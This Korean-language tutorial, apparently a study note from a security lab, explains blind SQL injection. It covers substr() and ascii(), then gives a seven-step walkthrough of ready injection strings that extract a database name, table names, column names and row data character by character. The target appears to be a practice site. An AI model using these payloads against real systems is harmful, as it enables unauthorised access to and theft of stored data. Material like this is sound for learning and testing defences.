Blind SQL Injection
Blind SQL Injection
데이터를 입력하고 DB에 접근이 가능하지만 직접적으로 어떤 데이터가 반환되는지 알 수 없는 경우 이용할 수 있는 SQL Injection 공격기법이다.
- SQL 질의문 결과가 화면에 출력되는 경우 : Union SQL Injection
- 에러메세지가 화면에 출력되는 경우 : Error Based SQL Injection
- 그 외의 경우 : Blind SQL Injection
Blind SQL Injection은 최후의 수단이지만 1,2번의 Injection 기법에서도 이용이 가능하다.
Blind SQL Injection에서 쓰이는 명령어는 크게 두 가지가 있다.
- substr()
- ascii()
Substr()
글자를 잘라주는 함수
substr(문자열,start idx, count) 와 같은 형태로 쓸 수 있다
예시) substr((__SQL__), 1, 1) -> 첫번째 인덱스부터 1글자 슬라이스
ascii()
문자를 아스키코드로 변환해주는 함수
ascii(문자) = 숫자코드
예시) ascii(substr((select 'abc'), 1, 1)) > 96
Blind SQL Injection에서는 주로 33부터 126까지 Burp Suite의 repeater 기능을 이용하여 데이터를 추출할 수 있다.
또한 auto scroll을 이용하여 값이 존재할 경우 나오는 스크립트 문을 미리 입력해두어 빠른 검색을 가능하게 할 수 있다.
<Auto Scroll 설정 예시>
* Blind SQL Injection은 한글자씩 추출을 하기 때문에 데이터를 모두 추출하기까지 시간이 매우 오래 걸린다.
따라서 프로그래밍 언어를 이용한 자동화가 거의 필수이다.
Blind SQL Injection 과정
- SQL Injection Point 찾기
- SELECT 문구 사용
- 공격 Format 만들기
- DB명 찾기
- Table명 찾기
- Column 이름 찾기
- 데이터 추출
1. SQL Injection Point 찾기
DB에 접근이 가능한 부분을 찾고, 참인 경우와 거짓인 경우를 입력하였을 때, 값이 다르게 나타나면 공격 가능
2. SELECT 문구 사용
SELECT 구문을 이용하였을 때, 참으로 나타나는지 확인한다.
normaltic' and (select 'test'='test') and '1' = '1
위의 쿼리는 두개의 and가 결합한 형태로 각각 참인 형태를 띤다. normaltic은 존재하는 아이디라고 출력하며, (select 'test'='test') 와 '1'= '1' 은 항상 참이기 때문에 존재하는 아이디라고 나타난다.
3. 공격 Format 만들기
normaltic' and (ascii(substr((__SQL__),1,1)) > 0) and '1' = '1
위에서 확인한 substr(), ascii() 명령어를 이용하여 한 글자씩 추출할 수 있는 공격 Format을 만든다
다음 실행에서 아스키코드 범위를 조정하며 response의 스크립트가 달라지는 부분을 확인할 수 있고, 최종적으로 한 글자를 얻었을 경우에 slice 범위를 조정하여 시작 인덱스를 조정하고 값을 늘려나간다
4. DB명 찾기
normaltic' and (ascii(substr((select database()),1,1)) > 0) and '1' = '1
System 테이블을 조회하여 DB명을 얻을 수 있다.
아스키코드 범위를 조정하여 스크립트 여부를 확인한다.
5. Table명 찾기
normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='segfault_sql'),1,1)) > 0) and '1' = '1
4번 과정에서 얻은 DB명을 이용하여 System 테이블을 조회하고 이전과 같이 테이블 명을 한 글자씩 추출한다.
6. Column 이름 찾기
normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='game' limit 0,1),1,1)) > 0) and '1' = '1
5번과 마찬가지로 칼럼 명을 한 글자씩 추출한다.
7. 데이터 추출
normaltic' and (ascii(substr((select name from game limit 1,1),1,1)) > 0) and '1' = '1
5번과 6번에서 얻은 table 명과 column 명을 이용하여 데이터를 추출한다.